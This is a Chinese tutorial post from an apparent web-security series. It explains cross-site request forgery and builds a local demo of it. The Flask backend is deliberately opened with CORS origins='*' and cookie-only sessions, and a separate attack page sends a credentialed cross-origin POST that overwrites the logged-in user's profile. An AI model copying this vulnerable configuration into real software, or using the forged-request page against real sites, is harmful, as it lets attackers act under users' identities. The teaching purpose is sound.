前述总结

在前面的文章中，我们已经基于nginx将我们的python后台与html前台整合为了一个站点，使得前台页面可以通过python后台进行一些数据操作，比如：登录、登录人信息获取。
上一篇中，我们讲到两个概念，一个是同源策略，另一个是session机制。同源策略为了保证本网站不受外部站点前台请求的干扰和控制；session机制则一定程度上解决了用户干扰重要信息在前后台之间传输的问题，让后台程序可以验证“浏览器级”的用户身份绑定；并且，我们知道了，session机制其实是通过Cookie实现的后台与浏览器之间的身份绑定。
此篇，我们将会把python后台改为支持跨域访问，并且继续采用session机制，不附加任何强化手段，来体验此举带来的危害之一，即我们今天所说的，“跨站点请求伪造(CSRF)”。

一、跨站点请求伪造(CSRF) 简介

1.1 CSRF原理

所谓“跨站点请求伪造”，即用户对本网站的请求虽然是在用户浏览器上发出，但却并不是通过本站点下的网页发送。其实就是我们上篇所讲的，外部网站页面的跨域请求。可以理解为把钥匙放门口花盆下面，结果别人都知道了，所以别人去自己家“溜了一圈”...
具体而言，浏览器可以为发向每个网站的请求，自动添加上该网站对应的合法Cookie信息，而后台程序则可以通过Cookie进行用户身份的辨别。当用户已经完成对A网站的登录，此后访问B网站(恶意网站)时，B网站的网页可以在浏览器中，向A网站发送请求。A网站则会视为用户的正常请求。
这个过程能够执行，需要两个必备条件：

1. A网站允许跨域请求，且不限制来源
2. A网站仅采用静态的Cookie作为身份认证手段，无其他附加手段
   
   SCRF原理

1.2 CSRF危害

这种攻击手段最大的危害是什么？就是在服务器看来的“合法性”。
注："合法"此处并非指的符合法律。

1. 首先是因为请求发送的客观主体一样，是真正的用户、真正的用户端浏览器。这就像是用户为了方便操作，在原来基础上，又新建了一个tab页面。
2. 因为是同一个浏览器，所以发起攻击网页的请求和正常网站网页上的请求中，由浏览器附加的请求信息是相同的，比如我们实现session机制的Cookie。

因此，在后台级别，基于我们目前的方案，是无法判断此请求是否为恶意请求的。

攻击者可以利用用户的登录身份，进行用户的操作。比如，当你已经在网站进行登录，点击了一个三方链接后，账号“被盗”了。

以下，是我们基于前述代码进行修改后，所制作的跨站点请求伪造攻击效果。当我完成在站点A(127.0.0.1:8023)的登录后，去到站点B(不安全网站，这里使用本地的另一个端口替代127.0.0.1:1668/csrf.html)，造成站点A的个人信息被修改。
两个站点虽然都在同一个机器上，但端口号不同，所以与在不同服务器上的不同网站效果相当。

csrf攻击效果

下面，我们将一步一步将前述代码进行修改，并制作攻击页面。

二、原始站点的修改

前述文章中的后台，是采用基于python的flask制作，要使其允许跨域请求，较简单的方法是使用另一个三方包flask_cors

1. 安装flask_cors

   pip install flask_cors 
   

2. python端添加信息修改功能

   @app.route('/data/update',methods=['post'])
   def update_my_info():
        # 获取session中的用户名
        if "usname" in session:
            uname=session["usname"]
            if uname:
                # 获取request body中的name和age字段
                nm=request.form["name"]
                ag=request.form["age"]
                # 对存储信息的文件进行覆盖写入
                with open("./"+uname+".dat",mode="w",encoding="utf8") as f:
                    f.write("name:"+nm+",age:"+ag)
                return "succeed"
        return "failed"
   

3. python端引入flask_cors包并添加支持跨域的语句

   from flask_cors import CORS
   CORS(app, origins="*")
   

4. 页面布局中，加入修改个人信息的输入框及按键

    <div class="update">
        <span>姓名: <input type="text" id="name"> </span>
        <span>年龄: <input type="number" id="age"> </span>
        <input type="button" class="btn" value="更  改" onclick="update()" >
    </div>
   

5. 页面上加入js方法，发起ajax请求进行信息修改

    function update()
    {
        nm=document.querySelector("#name").value
        ag=document.querySelector("#age").value
        $.ajax({
            url:"/data/update",
            method:"POST",
            data:{"name":nm,"age":ag},
            success:function(dt){
                alert(dt)
            }
        })
    }
   

三、构建CSRF页面

为了便于区别，我们新建一个文件夹，用于构建CSRF使用的页面。依然需要使用jquery发起ajax请求。页面仅有js代码

$.ajax({
            url:"http://127.0.0.1:8023/data/update", // 需要填写完整路径
            method:"POST",
            data:{"name":"小哥，你被黑了","age":-100},
            crossDomain: true,  // 启用跨域请求
            xhrFields: {
                withCredentials: true // 启用带凭据的跨域请求
            },
            success:function(dt){
                alert(dt)
            }
        })

nginx 配置中，新增一个server。具体信息如下

server {
        listen       1668;
        server_name  localhost;
        location / {
            root D:/csrf_web/;
        }
    }